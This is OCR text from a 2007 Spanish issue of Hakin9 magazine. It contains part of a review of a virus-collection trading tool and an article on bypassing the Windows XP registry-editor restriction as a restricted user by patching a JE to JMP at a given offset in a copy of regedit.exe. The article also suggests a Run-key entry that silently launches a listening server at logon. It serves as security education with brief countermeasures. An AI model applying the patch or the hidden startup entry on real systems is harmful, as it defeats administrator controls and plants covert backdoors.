Virus Sort 2000

Figura 1. Virus Database

Como el propio programa dice, Virus Sort 2000 es everything VX Collector Needs. Se trata de una herramienta indispensable para todo aquel coleccionista de virus que desee llevar al día su colección y poder intercambiar virus con otros coleccionistas.

Page 13: Revista Hakin9 n23 04-2007 ES

12

Herramientas

www.hakin9.org 13www.hakin9.org

Herramientas

– Generate browse list from 2 logs: Al igual que la opción anterior pero con dos logs externos a la dase de datos.

– Generate virii count report: Genera un archivo con el número de virus únicos y totales por cada base de datos que tengamos.

– Generate graphical statistics: Realiza estadísticas gráficas a partir de un archivo generado con la opción Generate virii count report antes comen-tada y permite guardarlas como *.bmp. El único inconveniente es que actualmente solo esta dis-ponible para KAV y F-Prot.

• Optimize DATs: Ordena los datos de los archivos *.DAT, de tal forma que realiza las comparaciones de forma mucho más rápida.

• Process with logs: Con esto podremos hacer muchí-simas cosas relacionadas con los logs. Las más importantes son: crear un log con los fakes de nues-tro log, crear una lista de virus duplicados,…

• Process with strings: Desde aquí se podrá modificar el log a nuestro gusto, podremos remplazar una linea, palabra, etc. por cualquier otro texto, borrar líneas que contengan ciertas palabras, etc.

• Extra Options: Permite añadir identificaciones a logs desconocidos, para que VS2000 los pue-da comparar, etc. También permite optimizar los DATs inmediatamente después de añadir nuevos virus.

Manage FilesDesde esta pestaña se podrán realizar todas las opcio-nes relacionadas con los archivos de nuestra colección. A continuación vamos a comentar todas las opciones de esta pestaña:

• Manage Files: En esta opción encontraremos algu-nas posibilidades, desde mover archivos, definir un directorio de destino o desactivar la extracción de ficheros comprimidos.

• Delete Files: Permite borrar archivos a partir de un log. Una gran utilidad de eso es la posibilidad de borrar nuestros virus duplicados mediante el log rea-lizado con la aplicación comentada en Process with logs.

• Real Duplicate Remover : Realiza una compara-ción entre un log de F-Prot y AVP (Kaspersky) para comprobar cuales están realmente duplica-dos.

• Pack Request: Nos hace un archivo zip con los virus que otro trader nos ha pedido, lógicamente nos lo rea-liza mediante el log que el otro trader nos envíe con el pedido de virus que el nos realice.

• Extensión Renamer: Nos renombra las extensiones a sus extensiones reales, por ej. si tenemos un archivo *.XXX y su extensión real es *.EXE, VS2000 detecta eso y nos pone la extensión real, las extensio-nes desconocidas pasarán a ser *.VIR, una extensión neutra. A la vez dispone de la posibilidad de hacer un

archivo BAT para que nos haga esa tarea, en lugar de que VS2000 nos la haga.

• List of extensions: Pues como se indica, no crea una lista de todas las extensiones de los archivos que hay en cierto directorio, pero eso si, todas distintas, si encuentra una extensión que ya esta en la lista, no la vuelve a poner.

• Find 0 bytes files: Busca archivos de 0 bytes, archivos que aparentemente son normales, pero que no con-tienen nada.

• Delete empty directories: Nos busca directorios va-cíos y los elimina.

Weed FilesSe trata de algo parecido a la pestaña Virus Databases pero en lugar de utilizar archivos logs, utiliza archivos crc32 o md5.

CRC32 en español seria Código de Redundancia Cíclica y se utiliza principalmente para detectar y co-rregir errores en archivos. CRC32 realiza un cálculo de los archivos mediante cierto algoritmo, y le da un nombre, por lo tanto, no existen dos archivos iguales con distinto nombre de CRC32. El caso de MD5 sería similar.

Esto es de gran utilidad para evitar tener virus duplicados. Como podréis ver, dentro de VS2000 exis-ten muchísimas aplicaciones para conseguir tener una colección lo más depurada posible.

Las opciones que podemos encontrar en esta pes-taña son: Create database, Add files hot database, Check for duplicated files y Create log with new files. En este apartado no nos pararemos mucho, puesto que las opciones son similares a las comentadas anteriormente,

Figura 3. Weed Files

Figura 2 Manage Files

Page 14: Revista Hakin9 n23 04-2007 ES

14

Herramientas

www.hakin9.org

solo cambia el modo de operar, que puede ser desde un log, o como en ese caso, desde un archivo CRC32 o MD5.

Fake/Goat ScannerComo va siendo normal, otra aplicación para depurar nuestra colección. Es muy importante mantener nuestra colección libre de fakes o basura y para ello esta herra-mienta es la apropiada. Además, su autor va actualizando la base de datos de fakes, para así no tener problemas a la hora de eliminarlos.

Entre las opciones que encontraremos están la de escasear fakes en archivos, desde un log, escasear basura desde archivos o desde un log al igual que con los fakes.

En este apartado tampoco nos detendremos mucho puesto que es sumamente sencillo.

Virus OrganizerSin duda una de las herramientas mas importantes, ¿Qué sería de una colección desorganizada? Desde aquí podemos organizar nuestra colección a partir de un log. Podemos elegir entre 5 tipos distintos de organización, además de tener la posibilidad de comprimir los archivos, mover archivos, o en su defecto copiarlos.

Los tipos de organización son los siguientes:

• Bulk Style: C:\VIRUS\0\04\04ABC903.EXE: Usa CRC32 o MD5 para nombrar los archivos.

• Collection Maker Style: C:\VIRUS\J\Jerusalem.1808.a\A456725F.COM : Se basa en KAV para nombrar y organizar los archivos.

• Create Directories: C:\VIRUS\AVP\J\Jerusalem\1808\a\0456ADEF.COM: Muy parecido al anterior, pero de una forma mucho mas esquematizada.

• Virus Name: C:\VIRUS\J\Jerusalem.1808.a.COM: Basado en el nombre de los virus y ordenado en car-petas del 0-1 y A-Z.

• Virus Types: C:\VIRUS\Win32\2FA67211.EXE: Se basa en el tipo de virus para realizar la organización.

Virus ExplorerNos muestra una lista con el nombre, según KAV y F-Prot, de todos los virus de nuestra colección y al lado la dirección donde se encuentran. Realmente solo hace eso, así que pasemos a la siguiente pestaña.

StatsDesde aquí (Figura 4) podremos observar, de forma grá-fica y para cada una de las bases de datos de cada logs, las estadísticas de nuestra colección. Podremos saber el número de virus totales y únicos que poseemos así como el porcentaje de virus y de warning, generics, que poseemos.

Vamos a hacer algunas aclaraciones sobre esto. A lo de virus únicos y totales, veréis, hay veces en las que un archivo contiene un único virus, pero en otras ocasiones un solo archivo, puede contener varios virus, un ej. puede ser un archivo *.txt donde poseamos los códigos fuente de varios virus, otro puede ser un archivo *.exe resultado de unir dos virus mediante un joinner, por lo tanto, virus totales serían el total, y virus únicos serían aquellos en los cuales un solo archivo contiene un único virus.

A lo de warning o generics veréis, normalmente KAV detecta los virus como Infected:, pero en otras ocasio-nes hace una llamada a un virus mediante Warnings o advertencias, eso quiere decir que probablemente ese archivo sea el virus X, pero no con exactitud. Al igual RAV, NOD o F-Prot tienen sus peculiaridades a la hora de detectar virus, y son recogidas de forma gráfica en esta pestaña.

Bueno, pues aquí acaba la explicación de esta magni-fica herramienta, aunque VS2000 esconde muchas más utilidades, como puede ser la de un servidor FTP, es un scan de puertos, contiene una librería donde encontrar información sobre todas las e-zines de información vírica, información sobre Constructor kits o laboratorios de virus e información sobre otras utilidades víricas, per-mite tener nuestra propia base de datos sobre traders, y un sin fin de utilidades más.

The [email protected]

Figura 4. Estadísticas de la colección

Figura 5. Página oficial de Virus Trading Center

Herramientas

Page 15: Revista Hakin9 n23 04-2007 ES
Page 16: Revista Hakin9 n23 04-2007 ES

www.hakin9.org16

Ataque

Sin embargo haciendo uso de ésta res-tricción de acceso brindada por Win-dows no considera las consecuencias

prácticas que puede llegar a obtener un ata-cante si elude dicha restricción.

Primero explicaremos qué es el Registro de Windows: el registro está conformado por una serie de archivos, anteriormente en las versio-nes de Windows 3.x el registro se guardaba en archivos con extensión .ini, más tarde en las ediciones Windows 9x el registro de Windows se denominaba User.dat y System.dat mientras que en Windows Me estaba conformado por Classes.dat, User.dat y System.dat.

En Windows XP para localizar los archivos que conforman el Registro debemos acceder a la siguiente ruta dentro del disco local, en que fue instalado el sistema, comúnmente en C:\Windows\System32\Config, dentro de ésta car-peta encontraremos varios archivos que corres-ponden a nuestro registro, también llamados Hives

No todos los archivos que componen el registro de Windows están ubicados dentro de esta carpeta, también existen Hives o claves que contienen subclaves y valores ubicados en las carpetas de cada usuario las cuales guardan

las configuraciones personales de cada cuenta, como por ejemplo el archivo ntuser.dat que co-rresponde a la clave HKey_Current_User.

Abriendo el RegistroIntentaremos abrir el registro de Windows, en esta ocasión lo haremos ingresando a la clave HKEY_LOCAL_MACHINE\Software desde su ubicación en C:\Windows\System32\Config\Software. Podemos percatarnos que el archivo Software no tiene extensión, lo que nos indica

Registro de Windows

Víctor López Juárez

Grado de dificultad

Albert Einstein una vez dijo: La formulación de un problema es más importante que su solución. Un administrador de equipo como fundamento de seguridad prefiere denegar el acceso al Editor del Registro a todo usuario que no forme parte de su grupo.

En este artículo aprenderás...

• Qué es el Registro de Windows y su editor,• Cómo implementar seguridad sobre el registro

de Windows,• Cómo atacar el Editor del Registro de Windo-

ws.

Lo que deberías saber...• Bases de programación en lenguaje ensambla-

dor,• Poseer conocimientos básicos sobre adminis-

tración de sistemas Windows.

Page 17: Revista Hakin9 n23 04-2007 ES

Registro de Windows

www.hakin9.org 17

que carece de un programa asociado por medio del cual se pueda ejecu-tar, para solucionarlo hacemos doble click sobre el archivo, escogemos la opción Seleccionar el programa de una lista y por ultimo optamos por WordPad, como resultado veremos lo siguiente (Figura 1).

Es evidente que la aplicación WordPad no es la adecuada para manipular el registro, para ello Win-dows creó el Editor del Registro (Regedit.exe) mediante el cual es posible acceder al registro y mo-dificarlo bajo un entorno dinámico y jerárquico muy parecido al propio Explorador de Windows. Aunque el Editor del Registro permite inspec-cionar y modificar el Registro, nor-malmente no necesitaremos hacerlo. Microsoft no garantiza solucionar los problemas resultantes por el uso in-correcto del Editor del Registro, así que utilizaremos esta herramienta bajo nuestra responsabilidad.

El Editor del Registro (Regedit.exe)Los administradores del sistema pue-den modificar el Registro a través del Editor del Registro (Regedit.exe o Regedt32.exe), directivas de grupo, directivas del sistema, archivos de Re-gistro (.reg) o mediante la ejecución de secuencias de comandos (por ejem-plo, archivos de comandos de Visual Basic o archivo de lotes .bat).

El Editor del Registro esta ubi-cado en el directorio del sistema C:\Windows\Regedit.exe, al abrirlo encontraremos un área de explora-ción organizada en carpetas, cada carpeta representa una clave prede-terminada del equipo local, cuando

se obtiene acceso al Registro de un equipo remoto, sólo aparecen dos claves predefinidas: HKey_Users y HKey_Local_Machine. A continua-ción veremos las claves predefinidas utilizadas por el sistema (Tabla 2).

Estas claves o también llamadas Hives se inician juntamente con el sistema operativo, el cual utiliza constantemente el registro de Windo-ws, esto parece ser lógico tomando en cuenta que éste debe mantenerse actualizado por los cambios dinámi-cos que pueden surgir al momento de utilizar el sistema, por ejemplo si deseamos renombrar el icono lla-mado Mi PC por Hakin9, basta por renombrarlo una vez y en los próxi-mos inicios de sesión el icono ya apa-recerá renombrado sin necesidad de guardar los cambios en el sistema, pues el registro lo hace por nosotros.

Tomando en cuenta el grado de importancia que adquiere el registro de Windows para el sistema operati-vo puede ser blanco de ataques o de backups enteros sin autorización, el

usuario que logre acceder al editor del registro puede llevarse consigo bas-tante información relevante sobre las características de nuestro sistema.

La idea de que si accedemos a otro sistema y copiamos el Editor del Registro de Windows ubicado en C:\Windows y lo trasladamos al nuestro obtenemos el contenido del Registro de Windows, es equivocada. Cuando ejecutemos el Regedit.exe que traji-mos del otro sistema accederemos inmediatamente a nuestro Registro. Debemos recordar que el Editor del Registro es simplemente una herra-mienta que permite realizar modifi-caciones en el Registro de Windows, llevando el Editor (Regedit.exe) de un ordenador a otro únicamente estare-mos trasladando dicha herramienta y no el contenido del registro de Win-dows de cada sistema, como podría pensarse.

Ahora bien si entramos en un sis-tema como usuario restringido y con-seguimos acceder al Editor del Re-gistro (aquí lo aprenderás incluso si el administrador del equipo es precavido y previamente denegó el acceso al Edi-tor) fácilmente podremos exportar todo el contenido del registro de Windows y llevarlo a nuestro sistema para exa-minarlo detenidamente. Para lograrlo, simplemente debemos estar dentro del Editor, dirigirnos al menú Archivo > Ex-portar. Luego en el recuadro llamado Intervalo de Exportación en lugar de seleccionar la opción predeterminada escogemos Todos, finalmente asignar-le un nombre al archivo y guardarlo.

Tabla 1. Claves de configuración personal

Sección del Registro Archivos en C:\Windows\System32\Config

HKEY_LOCAL_MACHINE\SAM Sam, Sam.log, Sam.savHKEY_LOCAL_MACHINE\Security

Security, Security.log, Security.sav

HKEY_LOCAL_MACHINE\Software

Software, Software.log, Software.sav

HKEY_LOCAL_MACHINE\System

System, System.alt, System.log, System.sav

HKEY_CURRENT_CONFIG System, System.alt, System.log, System.sav, Ntuser.dat, Ntuser.dat.log

HKEY_USERS\DEFAULT Default, Default.log, Default.sav

¿Qué es el Registro de Windows?El Registro de Windows conforme el Microsoft Computer Dictionary es definido de la siguiente manera:

Una base de datos jerárquica central utilizada en Microsoft Windows 9x, Ce y NT con el fin de almacenar información necesaria para configurar el sistema para uno o varios usuarios, aplicaciones y dispositivos de hardware.

El Registro contiene información que Windows utiliza como referencia continua-mente, por ejemplo los perfiles de los usuarios, las aplicaciones instaladas en el equi-po y los tipos de documentos que cada aplicación puede crear, las configuraciones de las hojas de propiedades para carpetas y los iconos de aplicaciones, los elementos de hardware que hay en el sistema y los puertos que se están utilizando.

Page 18: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Ataque

18

Restringiendo el acceso y escritura sobre el registro de WindowsUna de las características de segu-ridad importantes en la serie Win-dows NT permite que el administra-dor del sistema pueda conceder – o no – el acceso a las claves del re-gistro a través del editor del registro (Regedit.exe).

Los permisos de escritura sobre el registro comprometen al sistema operativo de tal manera que en mu-chas ocasiones son imprescindibles estos permisos para realizar ataques contra el sistema. Por ello es impor-tante también conocer prácticas de seguridades fáciles y eficaces, capa-ces de implementar en nuestros sis-temas.

Dentro del editor del Registro la administración de seguridad sobre las claves y subclaves es relativa-mente sencilla, solo basta con elegir

la clave que deseamos configurar, click derecho y seleccionar la opción Permisos. (Figura 2 y 3).

De esta manera cualquier admi-nistrador del sistema puede otorgar permisos de escritura, agregar usuarios o grupos a la lista de permi-sos, asignar permisos a una clave, conceder control total a una clave, asignar accesos especiales, auditar la actividad de una clave, agregar usuarios o grupos a la lista de audi-toría, tomar posesión de una clave, establecer controles de lectura, etc.

¡Nadie me toca el registro!Como una opción de seguridad más, el administrador puede restringir el acceso al editor del registro a los usuarios que no forman parte del grupo de administradores del equi-po, con la finalidad de impedir que cualquier usuario altere el sistema

ya sea con buenas o malas inten-ciones.

Para lograrlo debemos localizar la siguiente clave desde el editor del registro HKEY_CURRENT_USER/Sof t ware / M ic roso f t / W indows /CurrentVersion/Policies/System en la ventana de la derecha creamos un nuevo valor DWord llamado Di-sableRegistryTools, damos doble click sobre él y le colocamos el valor 1. De esta manera la modifica-ción del registro de Windows que-dará deshabilitada para el usuario actual.

Al intentar abrir el editor del registro veremos lo que aparece en la Figura 4.

Esta es una manera de bloquear el acceso al registro, aunque no es la única, otra forma de lograrlo es Figura 1. Word Pad no es una buena aplicación para abrir un registro

Tabla 2. Las claves utilizadas por el sistema

Carpeta o clave predefinida

Descripción

HKEY_CU-RRENT_USER

Contiene la raíz de la información de configuración del usuario que ha iniciado la sesión. Aquí se almace-nan las carpetas de usuario, los colores de pantalla y la configuración del Panel de control. Esta informa-ción se conoce como perfil de usuario.

HKEY_USERS Contiene la raíz de todos los perfiles de usuario del equipo. HKEY_CURRENT_USER es una subclave de HKEY_USERS.

HKEY_LOCAL_MACHINE

Contiene información de configuración específica del equipo (para cualquier usuario).

HKEY_CLAS-SES_ROOT

Es una subclave de HKEY_LOCAL_MACHINE\Software. Aquí se almacena la información que asegura que se abre el programa correcto al abrir un archivo con el Explorador de Windows.

HKEY_CU-RRENT_CONFIG

Contiene información acerca del perfil de hardware que utiliza el equipo local al iniciar el sistema.

Figura 3. Cómo obtener un permiso de escritura, parte 1

Figura 2. Cómo obtener un permiso de escritura, parte 2

Page 19: Revista Hakin9 n23 04-2007 ES

Registro de Windows

www.hakin9.org 19

eliminando el propio Editor del Regis-tro (Regedit.exe) de la carpeta de su ubicación C:\Windows, así el usuario que acceda al sistema y carezca de privilegios difícilmente podrá editar el registro al no encontrar la herramien-ta destinada para ello. Aunque pueda parecer lo contrario, la eliminación del regedit.exe no llevará al colapso del sistema, ya que no se elimina el registro de Windows (el cual está ma-yormente constituido por los archivos ubicados en C:\Windows\system32\config) sino que únicamente pres-cindimos de la herramienta que lo edita.

Aun si deliberadamente intenta-mos borrar los archivos que constitu-yen el registro de Windows ubicados en C:\Windows\system32\config, el sistema operativo lo impediría dada la importancia de los mismos.

Consecuencias de la escritura sobre el registro La escritura sobre el registro de Windows permite gestionar y perso-nalizar el sistema operativo sin nin-gún problema, de hecho es una posi-bilidad exclusiva dada a los adminis-tradores del sistema, la cual puede ser también otorgada a los usuarios invitados.

Otra posibilidad simple que gene-ra la escritura sobre el registro, es la capacidad para instalar programas. Cualquier programa al instalarse usualmente crea, modifica o elimina claves y subclaves dentro del registro de Windows, durante ese proceso de instalación también comprueba ciertos valores en el registro (ese es el punto débil que atacaremos más adelante) dependiendo de esos valores y ciertas

características de seguridad el aplica-tivo podrá ser instalado. El usuario que carece de privilegios no podrá instalar correctamente aplicaciones.

De modo que a través de las con-secuencias prácticas que consegui-mos al editar el registro de Windows mediante el regedit.exe obtenemos mayores logros que si nos limitára-mos a personalizar el sistema ope-rativo a través de las pocas opciones que éste nos brinda. Sin embargo, siempre es recomendable conocer el área del registro que deseamos modificar, porque los cambios inco-rrectos pueden dañar el sistema.

Desde el punto de vista de un ata-cante, poseer permisos de escritura sobre el registro le otorgan ciertas ventajas, como por ejemplo instalar troyanos o servidores maliciosos y de-jarlos a la escucha de cualquier puer-to o ejecutarlos en segundo plano cada vez que arranque el sistema, inclusive si el administrador inicia el sistema en modo a prueba de fallos un troyano dependiendo de la clave del registro en la que fue asociado, se ejecutará de modo invisible.

Si poseemos permisos de escri-tura sobre el registro de Windows podemos realizar un sin número de acciones que terminarán alterando el sistema operativo, estás acciones dentro del registro pueden ser desde las más básicas hasta las más peli-grosas capaces de poner en peligro la seguridad del sistema.

Crackeando el registro como usuario sin privilegios Las restricciones de seguridad del registro de Windows son escasa-mente eficientes. El punto débil que nos permite explotar la siguiente vulnerabilidad y acceder al editor del registro, es el propio sistema de protección utilizado por los desarro-lladores de Windows, en particular la opción a través de la cual es desha-bilitado el acceso al editor del regis-tro (Figura 4) es una práctica poco recomendada por los desarrollado-res de software comercial, dada su relativa facilidad para ser vulnerada por los atacantes.

Figura 4. El acceso al registro bloqueado

Figura 5. Cómo personalizar las configuraciones del usuario

Ejemplo PrácticoEn este ejemplo colocaremos la palabra Hakin9 en el menú contextual de los archivos con extensión txt, de tal manera que si escogemos la opción Hakin9 se abrirá el archi-vo en el programa Notepad.exe tal y como sucede comúnmente.

Para lograrlo, dentro del editor del registro localizamos la siguiente clave Hkey_Local_Machine\Software\Classes\textfile\shell\open. En la ventana de la derecha ya existe un valor alfanumérico llamado Predeterminado, hacemos doble click sobre él y lo nombramos Hakin9

Ahora cuando hagamos click derecho sobre los archivos *.txt en lugar de ver la opción convencional llamada Abrir veremos Hakin9 (Figura 5).

Este es un claro ejemplo de cómo es posible personalizar la configuración de usuario, a través de la escritura sobre el registro de Windows.

Page 20: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Ataque

20

Cuando se accede a un sistema como usuario invitado de manera predeterminada carecemos de per-misos para escribir sobre el registro, a menos que el administrador haya de-cidido lo contrario. Las causas princi-pales por las que un administrador de equipo decide deshabilitar el acceso al editor del registro y consecuente-mente la escritura sobre éste, son impulsadas mayormente por razones de seguridad, las cuales le brindan una ventaja al propio sistema, ya que se adquiere un mayor grado de con-fianza en relación a su uso.

Es por ello que para explotar la vulnerabilidad a la que puede estar expuesto el editor del registro a través de la restricción de acceso, debemos ingresar a un sistema Windows XP en calidad de usuario restringido, es de-cir sin permisos de acceso y escritura en el registro de Windows.

Antes de empezar debemos verifi-car que el acceso al editor del registro ha sido deshabilitado por el adminis-trador (Figura 4). Ahora debemos crear una carpeta en el directorio C:\llamada Hakin9, luego copiamos el regedit.exe de la carpeta del sistema (C:\Windows) y lo pegamos en la si-guiente ubicación C:\hakin9.

Esta copia que recién acabamos de crear nos brinda seguridad, debe-mos tomar en cuenta que siempre es recomendable trabajar sobre una copia del programa y no sobre el ori-ginal, dadas las equivocaciones en

que podríamos incurrir al momento de modificar el código del programa.

Atacando el Registro de Windows ¡Vamos a la Práctica!Cuando un programador decide crear cualquier aplicación tiene la opción de hacerlo a través de dife-rentes lenguajes de programación, ya sea alto, mediano o bajo nivel, la categoría del nivel de programación depende de los recursos del sistema que utiliza el lenguaje y el programa-dor para realizar la aplicación.

Cuando finaliza el proceso de creación de una aplicación, se com-pila (convierte a unos y ceros) y se genera un archivo ejecutable de extensión .exe, los cuales a su vez pueden ser traducidos a un lenguaje de programación de bajo nivel, como por ejemplo lenguaje ensamblador, independientemente del lenguaje de programación original con que hayan sido creados. Sin embargo, existen aplicaciones que son empaquetadas (como sistema de protección) con el motivo de evitar que sean traducidas a lenguaje ensamblador, en otros casos la conversión al lenguaje en-samblador de un programa del cual no somos propietarios es ilegal.

Si abrimos alguna aplicación exitosamente para debugearla en lenguaje ensamblador y manejamos conocimientos de este lenguaje, podremos modificar el código del

programa a nuestro favor, en este caso abriremos el editor del registro y eliminaremos la protección que nos impide su acceso, de esa manera tendremos a nuestra disposición el registro de Windows.

Una utilidad que nos permite abrir un programa y explorar su código en lenguaje ensamblador es W32dasm, este programa no necesita instala-ción así que como usuario restringi-do no tendremos ningún problema en abrirlo, dentro de W32Dasm nos dirigimos al menú Disassembler y seleccionamos la opción Open File to Disassemble y abrimos nuestra copia del Editor del Registro desde C:\hakin9\regedit.exe, W32Dasm co-menzará a desensamblarlo y al ter-minar veremos el código en lenguaje ensamblador.

De esta manera podemos per-catarnos como aún con el bloqueo

Figura 6. La Ventana List Of String Data Items

OFFSETUn offset sirve para designar inequí-vocamente una dirección de memoria conjuntamente con un segmento en algunas arquitecturas de microproce-sadores.

Registros del procesadorEl procesador necesita de ayuda al momento de realizar sus tareas, como por ejemplo ejecutar programas, los re-gistros lo ayudan precisamente en eso. Cuando el procesador necesita sumar posiciones de memoria las dirige a un registro para realizar operaciones, és-tos a su vez varían dependiendo de las funciones específicas que fueron destinados a realizar.

Acceder como un usuario restringidoSi prefieres acceder como usuario restringido desde tu ordenador lo pue-des hacer ingresando desde la cuenta de Invitado. Para activarla debes ir a Inicio>Panel de Control> Cuentas de Usuario> Invitado> Activar la cuenta de Invitado.

Page 21: Revista Hakin9 n23 04-2007 ES

Registro de Windows

www.hakin9.org 21

de acceso al regedit.exe es posible desensamblarlo sin inconvenientes. Una vez abierto el editor del registro en W32Dasm podemos observar tres columnas diferenciadas, la primera representa la dirección de memoria en la que está la instrucción, la segunda columna contiene el código de la ins-trucción en sistema numérico hexade-cimal, cuya base es 16, mientras que la tercera columna contiene el código en lenguaje ensamblador, el que mo-dificaremos para evadir la protección.

Ahora nos disponemos a bus-car la cadena de texto que aparece dentro del mensaje que nos advierte sobre la restricción: El administrador ha deshabilitado la modificación del registro (Figura 4). Mediante W32-Dasm podemos observar las cade-nas de texto de un programa y las referencias a dichas cadenas.

Si el editor del registro necesita hacer uso de una cadena de texto, no es necesario crear la cadena todas las veces que la vaya usar, sino que sim-plemente se hace referencia a la direc-ción de memoria donde se encuentra.

Es por ello que la cadena de texto que buscamos puede estar referenciada varias veces dentro del regedit.exe.

Una vez identifiquemos la cadena de texto a buscar El administrador ha deshabilitado la modificación del re-gistro, averiguaremos sus referencias.

Para ello, teniendo abierto el Editor del Registro desde W32Dasm

nos dirigimos al menú Refs, luego seleccionamos la opción String Data Referentes, para encontrar las cade-nas de texto.

Al borde inferior de la ventana List of String Data Items vemos la cadena de texto que estábamos bus-cando (Figura 6).

Damos doble click una sola vez sobre la cadena de texto (en algu-nos casos deberíamos dar más de un doble click sobre esta cadena, hasta encontrar el salto condicional correcto), presionamos el botón Clo-se y W32Dasm nos llevará a la esta dirección de memoria 01008AB4. Si continuamos haciendo doble click sobre la cadena de texto el progra-ma nos llevará hacia otras direccio-nes de memoria, tantas veces como existan referencias a la cadena.

Si nos dirigimos cuatro líneas arriba de la dirección 01008AB4 veremos dos instrucciones impor-tantes marcadas de color azul, la primera test eax, eax, realiza una comprobación de estos registros, y emite un resultado booleano, es decir verdadero o falso, dependien-do de la comprobación resultante de los registros. Seguidamente vemos la instrucción je 01008ACA (Jump if is Equal) es un salto condicional que comprueba el resultado del test, si el resultado del test es igual, je salta hacia 01008ACA, de lo contrario el programa continua con el resto del código inferior a je. Lo que haremos

Figura 7. Los datos de Offset necesarios

¿Problemas?En caso de que no puedas acceder correctamente al editor del registro de Windows, deberás revisar los pasos nuevamente, los errores que probablemente te impidan realizar esta práctica pudieron surgir por diversos motivos relativamente simples, probablemente la versión del registro de Windows que utilices sea diferente, (en este caso usamos la de Windows Xp Profesional) o equivocaste el salto condicional o no encuentras el offset correcto.

En esos casos debes abrir la copia del regedit.exe desde W32Dasm ir al menú Refs, y el la ventana donde aparece la cadena de texto El administrador ha deshabilitado la modificación del registro, dar doble click mas de una vez sobre ésta y repetir el proceso desde ese punto en adelante hasta encontrar el salto condicional correcto, posterior-mente es probable que tengas un offset distinto al de nuestra practica, pero en el editor hexadecimal solo debes verificar que el offset te dirija al 74 para modificarlo por EB.

Ejemplo PrácticoUna ejemplo simple orientado al hakin9 (haking) que podemos realizar fácilmente basados en lo aprendido en esta práctica, es abrir puertos cada vez que arranca el sistema sin que el administrador del equipo se de por enterado. Para lograrlo abrimos el editor del registro y localizamos la siguiente clave

HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run

En la ventana de la derecha creamos un nuevo valor Alfanumérico llamado Server (o como prefieras), damos un doble click sobre él y escribimos la ruta de la aplicación-servidor que deseamos dejar a la escucha. De esa manera cada vez que el usuario inicie sesión lo hará también esa aplicación, más tarde podrás ejecutar el programa-cliente desde cualquier ubicación para establecer conexión.

Page 22: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Ataque

22

para evadir la protección que nos restringe el acceso al editor del registro es cambiar ese salto condi-cional JE por un salto incondicional JMP, de esta manera el regedit.exe al llegar a esa parte del código com-para los registros y salta en todas las ocasiones, independientemente del resultado del test de los registros.

Nos dirigimos hacia el salto con-dicional y hacemos doble click sobre él, vemos como se pinta una línea de color verde, seguidamente to-mamos nota del offset que aparece abajo en la barra de estado @offset 00007EAEh in File: regedit.exe, la h al final indica que dicha cantidad esta representada en sistema hexa-decimal. Por último anotamos por aparte el Offset ya que lo necesita-remos más adelante.

Dentro de W32Dasm no es po-sible modificar de manera directa el código, desde cierto de punto de vista es ventajoso porque nos impi-de cometer errores al momento de alterarlo, por ejemplo si deseamos cambiar un salto incondicional de 2 bytes no debemos hacerlo por uno de 5 bytes por la instrucción CALL por ejemplo, sino por otro de la mis-ma longitud. En este caso cambiare-mos el je por jmp, es decir el 741A (la dirección que vemos en la segunda columna (Figura 7) por EB1A.

Debemos acudir a otra herra-mienta para realizar las modifica-ciones necesarias en el código del regedit.exe. Un editor Hexadecimal, en este caso usaremos el WinHex,

este editor no precisa de instalación por lo que como usuario restringido no tendremos ningún problema en abrirlo. Seguidamente nos dirigimos al menú File > Open > C:\hakin9\regedit.exe (Figura 8).

Ahora tenemos a nuestra dispo-sición el código del editor del registro de Windows en formato numérico hexadecimal. Una vez abierto, desde la posición inicial nos dirigimos al menú Position > Go to Offset… y en la opción New position colocamos el offset que obtuvimos en W32Dasm 00007EAE, finalmente presionamos OK. El editor hexadecimal nos dirigirá al offset que buscábamos, el cual con-tiene el salto condicional, (debemos estar seguros de aparecer en 74 1A), media vez hayamos encontrado el off-set correcto colocamos el puntero en el 7 y lo modificamos tecleando EB, luego veremos como cambia a color azul. Finalmente solo resta guardar los cambios dirigiéndonos al menú File > Save > Yes. Y eso es todo amigos.

¡Misión Completa!Solo basta comprobar que es posi-ble acceder al registro de Windows ejecutando el regedit.exe desde C:\hakin9. Si ejecutamos el regedit.exe ubicado en C:\Windows aún veremos la restricción que nos impide acceder a él, la restricción continua porque las modificaciones únicamente han sido hechas a nuestra copia ubicada en C:\hakin9\regedit.exe, la que podremos trasladar a cualquier sistema operati-vo Windows Xp que tenga habilitada

la restricción de acceso al editor del registro y evadirla simplemente eje-cutando nuestra querida copia.

Las consecuencias prácticas que obtenemos derivadas del acceso al editor del registro de Windows a través de esta práctica nos permiten tener la habilidad para modificar ciertos aspec-tos del sistema operativo, tales como la apariencia, accesibilidad, los colores, temas, el escritorio, teclado, mouse, sonido, protector de pantalla, configu-ración de la shell del sistema, informa-ción sobre el usuario actual, programas instalados, archivos temporales, infor-mación de la sesión de usuario, manejo sobre las aplicaciones que se inician al cargar el sistema, etc, etc.

ContramedidasImplementar software específico que audite el registro de Windows de ma-nera permanente evitando cualquier tipo de modificación sobre éste, de manera que deniegue los cambios realizados por cualquier usuario. Si establecemos este tipo de seguridad dentro del sistema y prevenimos su correcta funcionalidad, no será ne-cesario hacer cambios en el registro de Windows de manera no prevista.

Espero haberlos alertado sobre la relativa facilidad que puede tener un atacante para evadir la restricción de acceso al registro de Windows, cuando el administrador de equipo hace uso de las medidas de seguri-dad predeterminadas que nos ofrece Windows. l

Figura 8. Una pantalla de Win Hex – usuario restringido

Sobre el AutorVíctor López Juárez es estudiante de la Universidad Rafael Landivar de Guate-mala. Está interesado en los diversos temas sobre seguridad informática, actualmente es miembro de la Comu-nidad de Desarrolladores de código seguro de Microsoft, profesional cer-tificado por parte de la empresa Intel Inside en temas como Web Services, Software Libre y Seguridad, y ex-inte-grante de la Academia Latinoamerica-na de Seguridad Informática. Durante sus tiempos libres participa en foros y comunidades de hackers, también desarrolla y diseña sitios Web.

Page 23: Revista Hakin9 n23 04-2007 ES

69 €

Absender-Daten

Por favor, rellena este cupón y mándalo por fax: 0048 22 887 10 11 o por correo: Software-Wydawnictwo Sp. z o. o., Bokserska 1, 02-682 Varsovia, Polonia; e-mail: [email protected] conocer todos los productos de Software-Wydawnictwo Sp. z o. o. visita www.buyitpress.com

Pedido

¡Pide suscripción!

por suscripción es más barata:

¿Quieres recibir tu revista regularmente?

¿Quieres pagar menos?

Nombre(s) ......................................................................................... Apellido(s)........................................................................................

Dirección .........................................................................................................................................................................................................

C. P. ................................................................................................... Población, provincia ........................................................................

